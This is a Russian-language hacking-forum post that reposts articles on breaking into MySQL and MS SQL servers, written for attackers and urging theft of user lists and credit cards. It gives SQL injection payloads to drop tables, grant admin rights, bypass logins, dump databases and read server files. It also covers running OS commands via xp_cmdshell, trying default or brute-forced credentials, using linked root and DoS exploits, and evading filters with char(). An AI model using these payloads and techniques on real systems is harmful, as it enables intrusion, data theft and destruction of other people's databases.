В общем я так и не понял куда лучше создать эту темку, ну если что перенесите. На пакетном уровне мы уже почти все можно сказать папки вот только беда пакетный уровень далеко не везде прокатит возможно в 1 из 100 случаев поэтому я считаю нужно копнуть чуть глубже и потому выставлю статейку о взломе MySQL. Автора к сожалению уже я врядли найду так как статью нашел у себя на компе и откуда взял хоть убейте не помню(

Взлом базы данных MySQL

В последнее время базы данных стали очень популярными из-за их качеств и возможности хранения огромного количества данных. Благодаря возможности использовать БД в сети, многие веб-дизайнеры предоставляют доступ к БД непосредственно с сайта. Это делают для того, чтобы сделать доступ к имеющейся на сайте информации максимально удобным для рядового юзера. Но из-за недостаточной квалификации многих программистов, допускаются ошибки безопасности при создании скриптов, служащих для доступа к БД. Сейчас стало стандартом де-факто использовать базы данных SQL со скриптами Perl и PHP. И это действительно очень удобно, но также очень опасно. Не будем забывать, что большинство дефейсов делается благодаря дырам в скриптах. В этой статье я опишу САМЫЕ частые оплошности кодеров в скриптах управления БД.

Начнем

Самая частая ошибка заключается в том, что названия таблицы берут из URL, что чаще всего встречается в форумах и бордах. Т.е. для обращения к форуму best с сайта blah-blah.gov используется строчка wwwblah-blah.gov/base.pl?forum=best. Скорее всего, параметр forum будет заноситься в переменную $forum. Значит горе-кодер в своих скриптах прописал что-то типа:

SELECT * FROM $forum; UPDATE $forum SET DATE = ‘09/08/02’

Вроде бы всё хорошо, но вся изюминка в том, что названия таблицы обычно не проверяют на правильность. А это значит, что ничто не сможет нам помешать написать в URL’е строку такого содержания: “http://www.blah-blah.gov/base.pl?forum=best;SELECT * FROM best; DROP TABLE best”. После чего запустится скрипт и выполнит следующий SQL-запрос:

SELECT * FROM best; DROP TABLE best;

Который сначала выводит все содержимое таблицы best, а потом удаляет её. Этот запрос, конечно, пройдёт только тогда, когда у пользователя достаточно прав, для того, чтобы удалить таблицу. Но админов, которые дают такие права пользователям, в Internet’е навалом, сам проверял=].

Теперь ты можешь без особого напряга удалить какую-нибудь базу. Но этого как правило мало. Мы же не вандалы. Допустим на нашем сайте wwwblah-blah.gov для того, чтобы использовать форум надо сначала зарегистрироваться. Не вопрос. Идём на страницу регистрации. Как правило, для пользователей тоже создают базу и запрос, который вставляет нового юзера выглядит так:

INSERT INTO userbase Values (firstname=’$fname’, lastname=’$lname’, age=$age);

Как ты уже понял, описанный выше способ применим и для других параметров, передаваемых в URL. А теперь представь, что мы знаем, что в этой таблице есть также поле xlev, значение которого принимает два значения, либо user либо superuser. Как несложно догадаться, если ты superuser, то можешь делать с форумом, что захочешь. Но проблема в том, что если это поле пустует, то пользователь считается простым user”ом. Не порядок. Если повнимательнее рассмотреть данный запрос можно увидеть параметр $age, стоящий без кавычек. Как правило, числовые данные не проверяют на действительность, и туда можно записать что угодно. Этим мы и воспользуемся. Вводим всё как надо, а в строке age пишем:25,xlev=’superuser’. Вот ты и бог=]. Как видишь, ничего сверх сложного здесь нет. Надо только подумать чуть-чуть.

DEFAULT

А теперь самое главное. Можно искать сайты с тупыми скриптами, передающими параметры в URL’е, а можно сделать умнее=]. Я уверен, что ты уже знаешь, что многие админы, особенно начинающие, ставят всё по дефолту. К них ещё нет опыта, и не знают, что это не есть гуд. Хочу заметить, что этим грешат также и матёрые сисопы. Так вот. Многие либо оставляют логин и пароль SQL сервера по умолчанию, или меняют пароль на какой-нибудь типа 54321. Вот этим и надо прежде всего воспользоваться. В Microsoft SQL Server по умолчанию стоит юзер sa без пароля, а в MySQL, root также без пароля. MsSQL и MySQL сидят на портах 1433 и 3366 соответственно. Так что качай клиент и попробуй вломится на базу под стандартным юзером. Если тебе не повезло и пароль не подходит, то советую тебе скачать брутфорс, для удалённого перебора паролей SQL (найти его можно на нашем сайте в File ->> Password Crack).

EXPLOITS

Для взлома SQL серверов, существует много exploit’ов. Описывать их я не буду, т.к. чтобы описать хотя бы самые достойные из них понадобится много места и время, да к тому же я не считаю это нужным. На нашем сайте в архиве exploit’ов ты найдёшь исходники как для получения root’а, так и для удалённый DoS атак на SQL сервер. К тому же рассчитывая на то, что в последнее время в MsSQL нашли два десятка таких дыр, DoS на MsSQL становится более актуальным.

Заключение

Взлом БЗ SQL является одним самых результативных взломов на сегодняшний день. В базах данных можно найти всё, от списка пользователей сервера, до номеров кредитных карт. Выше я описал только самые основные методы взлома, но их вполне хватит, чтобы взломать примерно 30% БД в Internet’е, конечно, импровизируя в каждом отдельном случае.

Технология взлома MySQL

Для начала немного опишу саму технологию SQL, ведь тебе надо знать, что ты, собственно, будешь ломать. Вообще база данных SQL представляет собой набор банальных таблиц, где каждая колонка содержит данные определенного типа. Этим типом может быть число, строка, текст до 64 килобайт и кучка промежуточных вещей, добавленных с целью максимально оптимизировать размеры некоторых баз данных. В UNIX БД MySQL представляет собой простой каталог с файлами таблиц. Почему все юзают столь простую базу? SQL славится скоростью и юзабельностью.
Ну, так вот, в SQL есть несколько основных команд работы с данными из базы - это SELECT, INSERT, UPDATE, DELETE, DROP. Признаком конца команды является точка с запятой. Опишем коротко каждую из основных команд.

SELECT

Функция: ввод данных из таблицы.
Синтаксис: SELECT FROM WHERE =;
Параметр WHERE не обязателен, а команда SELECT * FROM users;
покажет все данные таблицы "users"

--------------------------------------------------------------------------------

INSERT

Функция: ввод данных в таблицу.
Синтаксис: INSERT INTO () VALUES ();
К примеру,
INSERT INTO users (login, password) VALUES ('hawker', 'qwerty');
вставит в таблицу "users" новую строку, причем в столбике "login" будет значится "hawker", а в столбике "password" - "qwerty".

--------------------------------------------------------------------------------

UPDATE

Функция: модификация данных в базе. Синтаксис: UPDATE SET =,..,= WHERE =;
К примеру,
UPDATE users SET password='asdfg' WHERE login='hawker';
поменяет поле "password" в строке, добавленной выше.

--------------------------------------------------------------------------------

DELETE

Функция: удаление данных из базы.
Синтаксис: DELETE FROM WHERE =;
К примеру,
DELETE FROM users WHERE login='hawker';
удалит строку, добавленную выше.

--------------------------------------------------------------------------------

DROP

Функция: удаление таблицы. Синтаксис: DROP TABLE :
К примеру,
DROP TABLE users;
сотрет всю таблицу "users".

--------------------------------------------------------------------------------

Плюс к описанным командам есть еще: "CREATE DATABASE ;" - для создания новой базы данных, "USE ;" - для переключения текущей базы данных u "GRANT ON . ТО @ IDENTIFIED BY 'пароль';" (к примеру, "GRANT all ON haxor.* TO hekker@localhost IDENTIFIED BY 'zloipass';" - добавит юзера "hekker" с паролем "zloipass" и всеми правами на базу данных "haxor").
Так, с основными командами мы познакомились. Теперь немного о том, где встречаются базы SQL. Вообще, сейчас популярно юзатьMySQL +Реrl или РНР. То есть в SQL хранятся какие-то данные, скажем, сообщения гостевухи или названия/URL порно-картинок, а Perl/PHP-скрипт обеспечивает доступ к имеющейся базе через Web. Туча народа активно юзает предложенную технологию, добавляя на своих сайтах SQL форумы. гостевухи, базы mрЗ-файлов. И, конечно, почти никто не задумывается о безопасности содеянного. Надо отметить, что доступ к базе данных SQL происходит после авторизации, для которой юзаются логин и пароль. К примеру, у MySQL эти данные хранятся в базе "mysql", таблице "users". У каждого юзера устанавливаются свои привилегии - что он может, а чего нет и в какой таблице/базе.

--------------------------------------------------------------------------------

Легкий способ хака

Некоторые извращенцы берут название таблицы прямо из URL. Ну, скажем, у чувака несколько форумов с разными названиями, для удобства он назвал таблицы в SQL, которые содержат мессаги форумов, также как сами форумы. Типа http://blabla.ru/forum. php?forum =main выводит основной форум, а http://blabla.ru/forum.php?forum=sex выводит форум для сексуально озабоченных. Параметр "forum", передаваемый из URL, в PHP/Perl-скрипте будет заносится в переменную $forum. Таким образом, чувак везде в своих скриптах может писать что-то типа:
SELECT * FROM $forum;
DELETE FROM $forum WHERE id=5;
и так далее...
Проблема в том, что название таблицы обычно не проверяют на правильность. Тогда, если мы укажем в URL значение forum типа "main; DROP TABLE main; SELECT * FROM main", скрипт чувака может запустить команду:
SELECT * FROM main;
DROP TABLE main;
SELECT * FROM main;
SELECT * FROM main;
Как видно, это не то, на что рассчитывал творец с самого начала. Таким же образом мы можем вывести таблицу с логинами и паролями форума (исли таковые есть).
Опять же оператор DROP сработает только в том случае, если чувак настолько тупой, что не убрал право стирать таблицы у SOL-ного юзера, под которыми юзается скрипт. Поверь мне, таких даунов не мало.

--------------------------------------------------------------------------------

Заморочки

Описаный выше способ часто применим и для других параметров, передаваемых в URL Переменные типа символа или строки чаще всего обособляют, ведь иначе SQL сервер заплачет, что ему неправильно параметр дали. Но вот числа передаются "как есть", и проверку, что это действительно числа, делают далеко не все. Обычная команда, вставляющая данные, полученные от юзера выглядит так:
UPDATE first_name='$fname',last_name='$lname', age=$age WHERE id=;
Допустим, это у нас база юзеров какого-то тупого чата(и мы находимся в настройках), а также там есть еще поле level, в котором содержится уровень привилегий, который, по дефолту,у юзверов, как несложно догадаться, "user", а у крутых и злых админов - "supervisor". Параметр "age", являющийся числом, отдается SQL`у без обособления (как и название таблицы), а также не проверяется в скрипте на корректность. Следовательно, если мы скажем им, что age="25, level='supervisor'", то их тупой скрипт обновления установок юзверя пошлет такую команду на SQL-сервер:
UPDATE first name='$fnaine', last_name='$lname', age=25, level='supervisor' WHERE id=;
Оп-ля, мы получили уровень админа. Напомню, что параметры можно передавать из URL (http://blabla.ru/cgi-bin/change.pl?f... … ..?age=...) или из HTML файла. В последнем случае потребуется сохранить нужную страничку у себя на диске. Затем отредактировать, просмотреть со своего винта и нажать "submit" (это сработает не везде, многие смотрят в поле http_referer и на cookies, которые, правда, тоже можно подделать .

--------------------------------------------------------------------------------

Стандартные юзеры

В Microsoft SQL сервере для нас предусмотрели дефолтного юзера "sa" без пароля, а в MySQL сервере по дефолту идет "root" без пароля. Только законнектиться ты сможешь не на всякий сервер. MySQL обычно сидит на 3366 порту, а Microsoft SQL - на 1433-м. Проверь телнетом - открыт ли он . Если да - собери у себя клиент (его можно бесплатно слить на wwwmysql.com) и попробуй проломиться на сервер под перечисленными выше аккаунтами. Кстати, в случае виндов Microsoft SQL обычно запускают под адми-ном, и если там оставлен стандартный юзер, то ты можешь свободно слить http://www.securiteam.com/exploits/5YP0D003FQ.html (прогу на Visual C++ 6.0) и получить "командную строку" на сервере.

--------------------------------------------------------------------------------

Получаем рута локально

Поиметь базу, безусловно, очень интересно (особенно если она с Credit Cards =), но еще интереснее захватить всю тачку. И специально для этого предусмотрительные кодеры SQL постоянно допускают всяческие ошибки. Только тебе в большинстве случаев будет нужен shell-доступ к тачке, на которой крутиться SQL-сервер. Замечу, что у большинства админов MySQL запущен не под root'ом, т.е. так, что ты получишь доступ только к самой базе данных.
1. MySQL 3.20.32. Этот MySQL имеется локально (в смысле нужен shell-доступ), причем необходим клиент (обычно это "/usr/bin/mysql", может быть "/usr/local/bin/mysql"). Слей эксплоит с http://www.hack.co.za/exploits/daemon/sql/mysql.sh. Тебе потребуется рабочий аккаунт в базе, и если mysqld висит под root'ом - ты благополучно заполучишь тачку.
2. MS SQL 7.00.699. Можно убить Microsoft SQL рассматриваемой неудачной версии, причем удаленно. Проверь, открыт ли на тачке 1433 порт. Если SQL-сервер получит по этому порту в потоке TCP больше двух нулевых (NULL или в Си) байт, то он совершит изощренный суицид, как это делал гражданин Кавабата у Пелевина в повести "Чапаев и пустота". На http://www.securiteam.com/exploits/3G5QMPPQ1G.html ты можешь взять скриптик для сканера Nessus (который можно слить с http://www.nessus.org), изготовленный специально для выполнения описанного выше ритуала.
3. MySQL версии меньше 3.23.31. Любой MySQL версии, меньшей указанной, можно локально поиметь. Если запущен под рутом - получить рута  Хотя, как водится, потребуется рабочий аккаунт на ломаемом серванте. Тут http://act.knu.ac.kr/exploit/mysql.html есть листинг эксплоита, который поможет в твоей благой миссии.
4. MySQL версий 3.22.29 и ниже, 3.23.8 и ниже. Здесь для тебя предусмотрено право менять пароли любых SQL-ных юзеров. Для проведения смены пассвордов необходим аккаунт с правами на одну из баз данных. Заходишь, значит:
"/usr/bin/mysql -u -р", вводишь пароль. Пишешь: "CREATE DATABASE haxor," - оно должно вернуть: "Query OK, 1row affected (0.0x sec)". Значит, все оки-доки, дальше вводишь: "GRANT select ON hiaxor.* TO root@localhost IDENTIFIED BY 'пароль';". Все, пароль юзеру "root" ты сменил (можешь теперь смотреть и менять любые базы). =)

--------------------------------------------------------------------------------

Тулзы

В процессе поиска общего языка с чьим-то сервером SQL тебе наверняка может пригодиться удаленный подборщик паролей - его можно слить тут: http://warex.box.sk/files/crackers/sqldict.exe. Для него есть куча словариков -ftp://ftp.ox.ac.uk/pub/wordlists.
А следующая тулза -
http://www.securiteam.com/tools/5YP0H0A40O.html - пробует узнать пароль, если он у тебя уже есть в зашифрованном виде.

и вот еще статья

А тебе когда нибудь хотелось поиметь базу данных какого-нибудь иНет-магазина или БД твоего прова со списком всех юзверей? Если да, то читай эту статью и хакай на здоровье =). Мы будем юзать технику взлома SQL Injection.

По статистике в Интернете около 60% приложений, работающих с различного рода БД, подвержены атакам, позволяющим модифицировать запрос к БД и заставить ее работать не совсем корректно. И этот класс атак называется SQL Injection атаками. Эта уязвимость не просто повсеместно распространена, она есть даже в таких неприступных крепостях, как серверы статистики многих провайдеров.

Для проверки приложения на вшивость (например, скрипта какого-нибудь сервера-статистики) сначала корректно заполни все поля для ввода, а потом по очереди подставляй в конец каждого поля кавычку ('). Если после отправки заполненной таким корявым образом формы на сервер тебе выпрыгнет сообщение об ошибке

Microsoft OLE DB Provider for ODBC Drivers (0x8004CC14)
[Microdoft][ODBC SQL
Server Driver][SQL Server][Unclosed
quotation mark before the character
string ")'.
/default.asp, line 239

или что-нибудь очень похожее, то мы на верном пути и флаг нам в руки.

Теперь представим, как идет обмен данными между SQL-сервером и нашим глючным приложением. Вот тебе уязвимый кусочек asp-
кода, не запрещающий sql injection:

var sql = "select * from users where
username = '" + username + "' and
password = '" + password + "'";

Таким образом, если username=hacker и password=qwerty, то все сработает корректно и без ошибок и asp-скрипт передаст SQL- серверу команду

select * from users where username='hacker' and password='qwerty'

Но если мы наглым образом сделаем своим именем пользователя hacker', то команда станет такой:

select * from users where username='qwerty'' and password='qwerty'

После этого запроса SQL глюканет и выдаст нам ошибку, мол мы кавычек слишком много насажали. Теперь будем думать логически: нам нужно обойти проверку имени и пароля в этом скрипте, т.е. отбросить кусок запроса "and password='qwerty'". Разработчики SQL все уже придумали до нас, и нам всего лишь остается закомментировать этот хвост. В языке SQL все комментарии начинаются с двух минусов (--), и все, что идет после них, сервер в расчет не берет; т.е. чтобы заставить рассмотренный выше кусочек asp'a пустить нас без пароля вместо юзернейма "hacker", надо будет вписать вот такую байду:

hacker'; --

Теперь разберемся, какой символ что тут означает. Кавычка после hacker закрывает поле username; точка с запятой говорит, что в данный момент у нас это конец всей команды; а два минуса показывают, что можно забить на все идущее после них.

Смотрим кишки базы
Так, без пароля нас уже пускают, но это еще не все, что можно сотворить с атакуемой машиной. Для начала нам нужно узнать, какие базы данных есть на удаленной машине. Чтобы это узнать, возвращаемся к нашему полю для ввода username'a и пишем туда такую вещь:

"hacker'; show databases; --" (опять же без кавычек)

Если после отправки такой формы на сервер тебе вывалится списочек, чем-то похожий на этот:

mysql> show databases;

+----------+
| Database |
+----------+
| MYSQL |
| TEST |
| hacker |
+----------+>

3 rows in set (0.00 sec)

то мы не просто на верном пути, мы лошадиными шагами движемся к получению свопа всех баз данных на сервере. Я думаю, посланную команду подробно разбирать не надо, тут все не сложно, только одна маленькая заметка: в языке SQL в одной строчке может быть несколько команд, разделенных точками с запятыми. Этим-то мы в основном пользоваться и будем.

После того как мы узнали список баз данных, нам нужно увидеть список таблиц в каждой из них. Чтобы осуществить такую задумку, в поле username пишем:

"hacker'; use mysql; show tables; -- "
"hacker'; use test; show tables; -- "
"hacker'; use voy; show tables; -- "

Команда use в данном случае заставляет SQL переключиться на заданную базу данных, а команда show tables показывает нам список всех таблиц в этой базе данных.

Тащим любые файлы с сервера
Так, структуру БД на удаленной машине узнали, теперь осталось поиметь всю информацию. Для осуществления этого противозаконного действия опять в поле username пишем:

"hacker'; select * from table1; -- " (где table1 - существующая таблица в БД)

И вот таким макаром по очереди сливаем информацию из каждой таблицы.
В принципе на такой удаче можно остановиться, но SQL - безграничное поле для всяких извращений. Ее можно заставить вытворять все, что душе пожелается - от чтения любого файла с диска до работы с реестром в виндах.

Для первого раза попробуем схватить какой-нибудь файл с диска. Для этого тебе нужны будут права на создание таблиц и запись в них. Сначала создадим подопытную таблицу, при помощи которой будем хватать любой файл с диска. Создаем ее уже привычным способом: в поле username пихаем:

"hacker'; create table dead_gibbon (tab1 varchar(200), tab2 varchar(200), tab3 varchar(200));

Вот мы создали таблицу с тремя столбцами. Небольшой комментарий: выражение "tab1 varchar(200)" говорит, что надо создать столбец с именем tab1 и максимальным значением 200. Теперь осталось воткнуть в свежесозданную таблицу требуемый файл

"hacker'; load data infile "/../../../../boot.ini" into table dead_gibbon; -- "
и посмотреть, что же у нас получилось:
"hacker'; select * from dead_gibbon; -- "

Конечно, файл в таблице окажется не в лучшем своем состоянии, каждая новая строчка файла будет эквивалентна каждой новой строчке в таблице, но в принципе даже этого хватает, чтобы таскать с сервера не очень большие файлы.

Выполняем любые команды
Файлы с диска читать научились, теперь осталось добиться командной строки на сервере. Такую задачу можно достичь только на SQL-серверах небезызвестной компании Microsoft. Именно при помощи MsSQL любой версии на удаленной машине можно исполнять любые команды. Для этого нужно отослать на сервер команду

exec master..xp_cmdshell 'dir'

и этим самым увидеть листинг текущей директории. Но это еще не все! Ребятки из Майкрософта постарались на славу и даже подключили к серверу возможность работы с реестром. Например:

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServiceslanmanserverparame ters',
'nullsessionshares';

Это всего лишь пример, а вот список всех команд, позволяющих творить с реестром такие кренделя, которые сам создатель на этапе компиляции не задумывал:

xp_regaddmultistring (добавляем строковый параметр)
xp_regdeletekey (удаляем ключ)
xp_regdeletevalue (удаляем значение ключа)
xp_regread (читаем ключ)
xp_regremovemultistring (удаляем строковый параметр)
xp_regwrite (пишем информацию в реестр)

Это далеко не весь список заподлянских команд. Все остальные ты сможешь прочитать в документации к серверу.

Защита
Так, хватит мусолить классические случаи SQL-injection атак, ведь в природе есть люди, пытающиеся защититься от такого рода атак. Но опять же язык SQL имеет такое количество исключений и примочек, что запретить их все просто теоретически нельзя. Есть только один метод защиты - разрешить для ввода только символы ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwx yz1234567890, а также запретить ключевые слова SQL "select, use, drop, insert и т.д.

По моему мнению, так и только так должна выглядеть защита от SQL-injection атак. Остальные методы (например, запрещение только ключевых слов и метасимволов ";" и "'") обходятся достаточно грациозно. Если скрипт отфильтровывает какой-либо символ, то его можно заменить конструкцией +char(0xКОД_СИМВОЛА)+. Теперь конструкция для вывода содержимого БД без использования кавычек будет выглядеть так:

select user from user where char(0x27)+user+char(0x27)=char(0x27)+char(0x27);
что абсолютно эквивалентно вот этой вещи:
select user from user where 'user'='';

Ну, я думаю, для первого раза хватит. После того как переваришь всю полученную информацию, запомни, что базы данных используются в самых желанных местах для взломщиков - SQL встречается в музыкальных архивах, у провайдеров, в онлайн- магазинах, в банках... Дальше список продолжать? Базы данных - это всегда лакомый кусочек, который никто не прочь урвать.

И еще на будущее: об SQL injection слышали далеко не все админы, так что если найдешь таковую уязвимость на каком-нибудь более-менее крупном сайте, то не спеши устраивать акты вандализма на месте преступления.